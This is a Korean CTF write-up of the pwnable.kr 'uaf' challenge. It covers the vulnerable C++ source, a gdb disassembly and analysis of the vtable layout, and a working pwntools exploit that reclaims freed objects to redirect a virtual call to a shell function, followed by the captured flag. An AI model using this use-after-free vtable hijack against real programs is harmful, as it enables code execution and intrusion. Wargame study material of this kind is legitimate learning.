[문제]


[풀이]

보호기법 분석

  • 64bits 바이너리
  • 카나리 없음
  • NX bits 존재
  • PIE 없음

 

소스코드 분석 - uaf.cpp

#include <fcntl.h>
#include <iostream> 
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
	virtual void give_shell(){
		system("/bin/sh");
	}
protected:
	int age;
	string name;
public:
	virtual void introduce(){
		cout << "My name is " << name << endl;
		cout << "I am " << age << " years old" << endl;
	}
};

class Man: public Human{
public:
	Man(string name, int age){
		this->name = name;
		this->age = age;
        }
        virtual void introduce(){
		Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
	Human* m = new Man("Jack", 25);
	Human* w = new Woman("Jill", 21);

	size_t len;
	char* data;
	unsigned int op;
	while(1){
		cout << "1. use\\n2. after\\n3. free\\n";
		cin >> op;

		switch(op){
			case 1:
				m->introduce();
				w->introduce();
				break;
			case 2:
				len = atoi(argv[1]);
				data = new char[len];
				read(open(argv[2], O_RDONLY), data, len);
				cout << "your data is allocated" << endl;
				break;
			case 3:
				delete m;
				delete w;
				break;
			default:
				break;
		}
	}

	return 0;	
}

Use After Free(UAF)

GEF(GDB Enhanced Features)

→ gdb에서 heap 관련해서 확인할 때 peda나 pwndbg와 같은 플러그인이 있다고 한다~ chunk 확인에 유용해보임

 

정적분석

gdb-peda$ info func
All defined functions:

Non-debugging symbols:
0x0000000000400c28  _init
0x0000000000400c50  std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string()@plt
0x0000000000400c60  std::ostream::operator<<(int)@plt
0x0000000000400c70  operator new[](unsigned long)@plt
0x0000000000400c80  operator delete(void*)@plt
0x0000000000400c90  std::ios_base::Init::Init()@plt
0x0000000000400ca0  read@plt
0x0000000000400cb0  __libc_start_main@plt
0x0000000000400cc0  system@plt
0x0000000000400cd0  __cxa_atexit@plt
0x0000000000400ce0  std::ios_base::Init::~Init()@plt
0x0000000000400cf0  std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt
0x0000000000400d00  std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt
0x0000000000400d10  std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt
0x0000000000400d20  atoi@plt
0x0000000000400d30  std::basic_ostream<char, std::char_traits<char> >& std::operator<< <char, std::char_traits<char>, std::allocator<char> >(std::basic_ostream<char, std::char_traits<char> >&, std::basic_string<char, std::char_traits<char>, std::allocator<char> > const&)@plt
0x0000000000400d40  std::allocator<char>::~allocator()@plt
0x0000000000400d50  std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt
0x0000000000400d60  std::basic_ostream<char, std::char_traits<char> >& std::endl<char, std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&)@plt
0x0000000000400d70  std::allocator<char>::allocator()@plt
0x0000000000400d80  __gxx_personality_v0
0x0000000000400d80  __gxx_personality_v0@plt
0x0000000000400d90  operator new(unsigned long)@plt
0x0000000000400da0  _Unwind_Resume@plt
0x0000000000400db0  std::string::operator=(std::string const&)@plt
0x0000000000400dc0  open@plt
0x0000000000400dd0  std::istream::operator>>(unsigned int&)@plt
0x0000000000400de0  _start
0x0000000000400e0c  call_gmon_start
0x0000000000400e30  __do_global_dtors_aux
0x0000000000400ea0  frame_dummy
**0x0000000000400ec4  main**
0x0000000000401124  __static_initialization_and_destruction_0(int, int)
0x0000000000401164  _GLOBAL__sub_I_main
**0x000000000040117a  Human::give_shell()
0x0000000000401192  Human::introduce()
0x0000000000401210  Human::Human()
0x0000000000401210  Human::Human()
0x000000000040123a  Human::~Human()
0x000000000040123a  Human::~Human()
0x0000000000401264  Man::Man(std::string, int)
0x0000000000401264  Man::Man(std::string, int)
0x00000000004012d2  Man::introduce()
0x0000000000401308  Woman::Woman(std::string, int)
0x0000000000401308  Woman::Woman(std::string, int)
0x0000000000401376  Woman::introduce()**
0x00000000004013b0  __libc_csu_init
0x0000000000401440  __libc_csu_fini
0x0000000000401450  __do_global_ctors_aux
0x0000000000401488  _fini

💡 set print asm-demangle on → gdb에서 c++ 함수 이름이 깨지는 것 방지해줌

main 함수

더보기
Dump of assembler code for function main:
   0x0000000000400ec4 <+0>:	push   rbp
   0x0000000000400ec5 <+1>:	mov    rbp,rsp
   0x0000000000400ec8 <+4>:	push   r12
   0x0000000000400eca <+6>:	push   rbx
   0x0000000000400ecb <+7>:	sub    rsp,0x50
   0x0000000000400ecf <+11>:	mov    DWORD PTR [rbp-0x54],edi
   0x0000000000400ed2 <+14>:	mov    QWORD PTR [rbp-0x60],rsi
   0x0000000000400ed6 <+18>:	lea    rax,[rbp-0x12]
   0x0000000000400eda <+22>:	mov    rdi,rax
   0x0000000000400edd <+25>:	call   0x400d70 <std::allocator<char>::allocator()@plt>
   0x0000000000400ee2 <+30>:	lea    rdx,[rbp-0x12]
   0x0000000000400ee6 <+34>:	lea    rax,[rbp-0x50]
   0x0000000000400eea <+38>:	mov    esi,0x4014f0
   0x0000000000400eef <+43>:	mov    rdi,rax
   0x0000000000400ef2 <+46>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400ef7 <+51>:	lea    r12,[rbp-0x50]
   0x0000000000400efb <+55>:	mov    edi,0x18
   0x0000000000400f00 <+60>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f05 <+65>:	mov    rbx,rax
   0x0000000000400f08 <+68>:	mov    edx,0x19
   0x0000000000400f0d <+73>:	mov    rsi,r12
   0x0000000000400f10 <+76>:	mov    rdi,rbx
   0x0000000000400f13 <+79>:	call   0x401264 <Man::Man(std::string, int)>
   0x0000000000400f18 <+84>:	mov    QWORD PTR [rbp-0x38],rbx
   0x0000000000400f1c <+88>:	lea    rax,[rbp-0x50]
   0x0000000000400f20 <+92>:	mov    rdi,rax
   0x0000000000400f23 <+95>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f28 <+100>:	lea    rax,[rbp-0x12]
   0x0000000000400f2c <+104>:	mov    rdi,rax
   0x0000000000400f2f <+107>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f34 <+112>:	lea    rax,[rbp-0x11]
   0x0000000000400f38 <+116>:	mov    rdi,rax
   0x0000000000400f3b <+119>:	call   0x400d70 <std::allocator<char>::allocator()@plt>
   0x0000000000400f40 <+124>:	lea    rdx,[rbp-0x11]
   0x0000000000400f44 <+128>:	lea    rax,[rbp-0x40]
   0x0000000000400f48 <+132>:	mov    esi,0x4014f5
   0x0000000000400f4d <+137>:	mov    rdi,rax
   0x0000000000400f50 <+140>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400f55 <+145>:	lea    r12,[rbp-0x40]
   0x0000000000400f59 <+149>:	mov    edi,0x18
   0x0000000000400f5e <+154>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f63 <+159>:	mov    rbx,rax
   0x0000000000400f66 <+162>:	mov    edx,0x15
   0x0000000000400f6b <+167>:	mov    rsi,r12
   0x0000000000400f6e <+170>:	mov    rdi,rbx
   0x0000000000400f71 <+173>:	call   0x401308 <Woman::Woman(std::string, int)>
   0x0000000000400f76 <+178>:	mov    QWORD PTR [rbp-0x30],rbx
   0x0000000000400f7a <+182>:	lea    rax,[rbp-0x40]
   0x0000000000400f7e <+186>:	mov    rdi,rax
   0x0000000000400f81 <+189>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f86 <+194>:	lea    rax,[rbp-0x11]
   0x0000000000400f8a <+198>:	mov    rdi,rax
   0x0000000000400f8d <+201>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f92 <+206>:	mov    esi,0x4014fa
   0x0000000000400f97 <+211>:	mov    edi,0x602260
   0x0000000000400f9c <+216>:	call   0x400cf0 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
   0x0000000000400fa1 <+221>:	lea    rax,[rbp-0x18]
   0x0000000000400fa5 <+225>:	mov    rsi,rax
   0x0000000000400fa8 <+228>:	mov    edi,0x6020e0
   0x0000000000400fad <+233>:	call   0x400dd0 <std::istream::operator>>(unsigned int&)@plt>
   0x0000000000400fb2 <+238>:	mov    eax,DWORD PTR [rbp-0x18]
   0x0000000000400fb5 <+241>:	cmp    eax,0x2
   0x0000000000400fb8 <+244>:	je     0x401000 <main+316>
   0x0000000000400fba <+246>:	cmp    eax,0x3
   0x0000000000400fbd <+249>:	je     0x401076 <main+434>
   0x0000000000400fc3 <+255>:	cmp    eax,0x1
   0x0000000000400fc6 <+258>:	je     0x400fcd <main+265>
   0x0000000000400fc8 <+260>:	jmp    0x4010a9 <main+485>
   0x0000000000400fcd <+265>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fd1 <+269>:	mov    rax,QWORD PTR [rax]
   0x0000000000400fd4 <+272>:	add    rax,0x8
   0x0000000000400fd8 <+276>:	mov    rdx,QWORD PTR [rax]
   0x0000000000400fdb <+279>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>:	mov    rdi,rax
   0x0000000000400fe2 <+286>:	call   rdx
   0x0000000000400fe4 <+288>:	mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400fe8 <+292>:	mov    rax,QWORD PTR [rax]
   0x0000000000400feb <+295>:	add    rax,0x8
   0x0000000000400fef <+299>:	mov    rdx,QWORD PTR [rax]
   0x0000000000400ff2 <+302>:	mov    rax,QWORD PTR [rbp-0x30]
   0x0000000000400ff6 <+306>:	mov    rdi,rax
   0x0000000000400ff9 <+309>:	call   rdx
   0x0000000000400ffb <+311>:	jmp    0x4010a9 <main+485>
   0x0000000000401000 <+316>:	mov    rax,QWORD PTR [rbp-0x60]
   0x0000000000401004 <+320>:	add    rax,0x8
   0x0000000000401008 <+324>:	mov    rax,QWORD PTR [rax]
   0x000000000040100b <+327>:	mov    rdi,rax
   0x000000000040100e <+330>:	call   0x400d20 <atoi@plt>
   0x0000000000401013 <+335>:	cdqe   
   0x0000000000401015 <+337>:	mov    QWORD PTR [rbp-0x28],rax
   0x0000000000401019 <+341>:	mov    rax,QWORD PTR [rbp-0x28]
   0x000000000040101d <+345>:	mov    rdi,rax
   0x0000000000401020 <+348>:	call   0x400c70 <operator new[](unsigned long)@plt>
   0x0000000000401025 <+353>:	mov    QWORD PTR [rbp-0x20],rax
   0x0000000000401029 <+357>:	mov    rax,QWORD PTR [rbp-0x60]
   0x000000000040102d <+361>:	add    rax,0x10
   0x0000000000401031 <+365>:	mov    rax,QWORD PTR [rax]
   0x0000000000401034 <+368>:	mov    esi,0x0
   0x0000000000401039 <+373>:	mov    rdi,rax
   0x000000000040103c <+376>:	mov    eax,0x0
   0x0000000000401041 <+381>:	call   0x400dc0 <open@plt>
   0x0000000000401046 <+386>:	mov    rdx,QWORD PTR [rbp-0x28]
   0x000000000040104a <+390>:	mov    rcx,QWORD PTR [rbp-0x20]
   0x000000000040104e <+394>:	mov    rsi,rcx
   0x0000000000401051 <+397>:	mov    edi,eax
   0x0000000000401053 <+399>:	call   0x400ca0 <read@plt>
   0x0000000000401058 <+404>:	mov    esi,0x401513
   0x000000000040105d <+409>:	mov    edi,0x602260
   0x0000000000401062 <+414>:	call   0x400cf0 <std::basic_ostream<char, std::char_traits<char> >& std::operator<< <std::char_traits<char> >(std::basic_ostream<char, std::char_traits<char> >&, char const*)@plt>
   0x0000000000401067 <+419>:	mov    esi,0x400d60
   0x000000000040106c <+424>:	mov    rdi,rax
   0x000000000040106f <+427>:	call   0x400d50 <std::ostream::operator<<(std::ostream& (*)(std::ostream&))@plt>
   0x0000000000401074 <+432>:	jmp    0x4010a9 <main+485>
   0x0000000000401076 <+434>:	mov    rbx,QWORD PTR [rbp-0x38]
   0x000000000040107a <+438>:	test   rbx,rbx
   0x000000000040107d <+441>:	je     0x40108f <main+459>
   0x000000000040107f <+443>:	mov    rdi,rbx
   0x0000000000401082 <+446>:	call   0x40123a <Human::~Human()>
   0x0000000000401087 <+451>:	mov    rdi,rbx
   0x000000000040108a <+454>:	call   0x400c80 <operator delete(void*)@plt>
   0x000000000040108f <+459>:	mov    rbx,QWORD PTR [rbp-0x30]
   0x0000000000401093 <+463>:	test   rbx,rbx
   0x0000000000401096 <+466>:	je     0x4010a8 <main+484>
   0x0000000000401098 <+468>:	mov    rdi,rbx
   0x000000000040109b <+471>:	call   0x40123a <Human::~Human()>
   0x00000000004010a0 <+476>:	mov    rdi,rbx
   0x00000000004010a3 <+479>:	call   0x400c80 <operator delete(void*)@plt>
   0x00000000004010a8 <+484>:	nop
   0x00000000004010a9 <+485>:	jmp    0x400f92 <main+206>
   0x00000000004010ae <+490>:	mov    r12,rax
   0x00000000004010b1 <+493>:	mov    rdi,rbx
   0x00000000004010b4 <+496>:	call   0x400c80 <operator delete(void*)@plt>
   0x00000000004010b9 <+501>:	mov    rbx,r12
   0x00000000004010bc <+504>:	jmp    0x4010c1 <main+509>
   0x00000000004010be <+506>:	mov    rbx,rax
   0x00000000004010c1 <+509>:	lea    rax,[rbp-0x50]
   0x00000000004010c5 <+513>:	mov    rdi,rax
   0x00000000004010c8 <+516>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x00000000004010cd <+521>:	jmp    0x4010d2 <main+526>
   0x00000000004010cf <+523>:	mov    rbx,rax
   0x00000000004010d2 <+526>:	lea    rax,[rbp-0x12]
   0x00000000004010d6 <+530>:	mov    rdi,rax
   0x00000000004010d9 <+533>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x00000000004010de <+538>:	mov    rax,rbx
   0x00000000004010e1 <+541>:	mov    rdi,rax
   0x00000000004010e4 <+544>:	call   0x400da0 <_Unwind_Resume@plt>
   0x00000000004010e9 <+549>:	mov    r12,rax
   0x00000000004010ec <+552>:	mov    rdi,rbx
   0x00000000004010ef <+555>:	call   0x400c80 <operator delete(void*)@plt>
   0x00000000004010f4 <+560>:	mov    rbx,r12
   0x00000000004010f7 <+563>:	jmp    0x4010fc <main+568>
   0x00000000004010f9 <+565>:	mov    rbx,rax
   0x00000000004010fc <+568>:	lea    rax,[rbp-0x40]
   0x0000000000401100 <+572>:	mov    rdi,rax
   0x0000000000401103 <+575>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000401108 <+580>:	jmp    0x40110d <main+585>
   0x000000000040110a <+582>:	mov    rbx,rax
   0x000000000040110d <+585>:	lea    rax,[rbp-0x11]
   0x0000000000401111 <+589>:	mov    rdi,rax
   0x0000000000401114 <+592>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000401119 <+597>:	mov    rax,rbx
   0x000000000040111c <+600>:	mov    rdi,rax
   0x000000000040111f <+603>:	call   0x400da0 <_Unwind_Resume@plt>
End of assembler dump.
   0x0000000000400ef2 <+46>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400ef7 <+51>:	lea    r12,[rbp-0x50]
   0x0000000000400efb <+55>:	mov    edi,0x18
   0x0000000000400f00 <+60>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f05 <+65>:	mov    rbx,rax
   0x0000000000400f08 <+68>:	mov    edx,0x19
   0x0000000000400f0d <+73>:	mov    rsi,r12
   0x0000000000400f10 <+76>:	mov    rdi,rbx
   **0x0000000000400f13 <+79>:	call   0x401264 <Man::Man(std::string, int)>**
   0x0000000000400f18 <+84>:	mov    QWORD PTR [rbp-0x38],rbx
   0x0000000000400f1c <+88>:	lea    rax,[rbp-0x50]
   0x0000000000400f20 <+92>:	mov    rdi,rax
   0x0000000000400f23 <+95>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f28 <+100>:	lea    rax,[rbp-0x12]
   0x0000000000400f2c <+104>:	mov    rdi,rax
   0x0000000000400f2f <+107>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f34 <+112>:	lea    rax,[rbp-0x11]
   0x0000000000400f38 <+116>:	mov    rdi,rax
   0x0000000000400f3b <+119>:	call   0x400d70 <std::allocator<char>::allocator()@plt>
   0x0000000000400f40 <+124>:	lea    rdx,[rbp-0x11]
   0x0000000000400f44 <+128>:	lea    rax,[rbp-0x40]
   0x0000000000400f48 <+132>:	mov    esi,0x4014f5
   0x0000000000400f4d <+137>:	mov    rdi,rax
   0x0000000000400f50 <+140>:	call   0x400d10 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::basic_string(char const*, std::allocator<char> const&)@plt>
   0x0000000000400f55 <+145>:	lea    r12,[rbp-0x40]
   0x0000000000400f59 <+149>:	mov    edi,0x18
   0x0000000000400f5e <+154>:	call   0x400d90 <operator new(unsigned long)@plt>
   0x0000000000400f63 <+159>:	mov    rbx,rax
   0x0000000000400f66 <+162>:	mov    edx,0x15
   0x0000000000400f6b <+167>:	mov    rsi,r12
   0x0000000000400f6e <+170>:	mov    rdi,rbx
   **0x0000000000400f71 <+173>:	call   0x401308 <Woman::Woman(std::string, int)>**
   0x0000000000400f76 <+178>:	mov    QWORD PTR [rbp-0x30],rbx
   0x0000000000400f7a <+182>:	lea    rax,[rbp-0x40]
   0x0000000000400f7e <+186>:	mov    rdi,rax
   0x0000000000400f81 <+189>:	call   0x400d00 <std::basic_string<char, std::char_traits<char>, std::allocator<char> >::~basic_string()@plt>
   0x0000000000400f86 <+194>:	lea    rax,[rbp-0x11]
   0x0000000000400f8a <+198>:	mov    rdi,rax
   0x0000000000400f8d <+201>:	call   0x400d40 <std::allocator<char>::~allocator()@plt>
   0x0000000000400f92 <+206>:	mov    esi,0x4014fa
   0x0000000000400f97 <+211>:	mov    edi,0x602260
  • Human* m = new Man(”Jack”, 25); 와 Human* w = new Woman(”Jill”, 21);에 대응하는 부분
  • 새로운 객체가 생성됨
  • main+79에 bp 걸어 레지스터 값 확인

→ rax, rbx모두 0xddac50 값을 가짐

  • 해당 메모리를 확인해보면 0x401570의 VPTR을 확인할 수 있음

  • 0x401570 에서 0X40117a가 저장되어 있음을 확인할 수 있는데, 이는 get_shell 함수임

  • get_shell 함수 다음에 introduce 함수가 호출됨

  • 해당 값은 rbp-0x38에 저장됨

 

  • woman을 생성하는 부분도 동일하게 진행됨→ 여기서는 rbp-0x30에 rbx 값을 넣음
    • 해당 부분에서도 get_shell이 호출됨을 알 수 있음
    • man이나 woman 중 아무거나 사용해도 될 것 같음!

 

case 1

0x0000000000400fc3 <+255>:	cmp    eax,0x1
0x0000000000400fc6 <+258>:	je     0x400fcd <main+265>
0x0000000000400fc8 <+260>:	jmp    0x4010a9 <main+485>
**0x0000000000400fcd <+265>:	mov    rax,QWORD PTR [rbp-0x38]**
0x0000000000400fd1 <+269>:	mov    rax,QWORD PTR [rax]
**0x0000000000400fd4 <+272>:	add    rax,0x8**
0x0000000000400fd8 <+276>:	mov    rdx,QWORD PTR [rax]
0x0000000000400fdb <+279>:	mov    rax,QWORD PTR [rbp-0x38]
0x0000000000400fdf <+283>:	mov    rdi,rax
0x0000000000400fe2 <+286>:	call   rdx
**0x0000000000400fe4 <+288>:	mov    rax,QWORD PTR [rbp-0x30]**
0x0000000000400fe8 <+292>:	mov    rax,QWORD PTR [rax]
**0x0000000000400feb <+295>:	add    rax,0x8**
0x0000000000400fef <+299>:	mov    rdx,QWORD PTR [rax]
0x0000000000400ff2 <+302>:	mov    rax,QWORD PTR [rbp-0x30]
0x0000000000400ff6 <+306>:	mov    rdi,rax
  • use 부분에서 man과 woman 모두 introduce 함수를 호출함
  • 이때, 각각 rbp-0x38, rbp-0x30 값을 rax 레지스터에 저장함
  • 중요한 점은 rax 레지스터에 값을 저장한 후에 8을 더하고 있음
 💡 내가 원하는 값을 호출하기 위해서는 원래 함수 값에서 -8 해준 값을 전달해줘야 함을 알 수 있음

 

문제 해결

💡 free 후에 새로운 데이터를 집어넣어 use 하는 부분에서 get_shell이 실행되도록 변조
     → introduce 함수 대신 get_shell이 실행돼야 함
     free → after → use 형태로 호출하면 될 것 같음
  • main 함수에서 Jack과 Jill이라는 객체를 생성하는 부분이 있음 → VPTR 생성
  • use 부분에서 introduce 함수가 호출되는 것은 VPTR(0x401570)으로부터 +8 위치에 있음

  • 우리가 실행하고 싶은 함수는 get_shell임
    • 이는 introduce 함수 앞에 위치해있음
    • data 값으로 VPTR의 -8인 값을 전달해주면 add 0x8을 했을 때 introduce 함수가 아닌, 8byte 만큼 작은 주소 값에 위치한 get_shell 함수를 호출할 수 있음

→ after를 1번만 누르면 Segmentation fault가 발생함

  • after 부분에서 argv[1]로 len, argv[2]로 data를 입력 받고 있으므로 64bit 바이너리에 맞게 8, VPTR-8 값을 넣어줌(argv[2]에 바로 전달하면 값이 깨지므로 python으로 파일 속에 값을 넣어주고 나서 파일을 이용함)

 

원격 실행 코드

from pwn import *

p = ssh(user='uaf', host='pwnable.kr', password='guest', port=2222)
#p.run("mkdir /tmp/sik")
p.write('/tmp/sik', '\\x68\\x15\\x40\\x00\\x00\\x00\\x00\\x00')

array=" 8 /tmp/sik"
argv = array.split(' ')
print argv
s=p.process(executable="/home/uaf/uaf", argv=argv)

print s.recvuntil('3. free')
s.sendline("3")

print s.recvuntil('3. free')
s.sendline("2")

print s.recvuntil('3. free')
s.sendline("2")

print s.recvuntil('3. free')
s.sendline("1")

s.interactive()


flag

🍒 yay_f1ag_aft3r_pwning

'Wargame > Pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] asm  (0) 2023.02.26
[Pwnable.kr] memcpy  (0) 2022.10.15
[Pwnable.kr] cmd2  (0) 2022.10.15
[Pwnable.kr] cmd1  (0) 2022.10.15
[Pwnable.kr] lotto  (0) 2022.10.15

+ Recent posts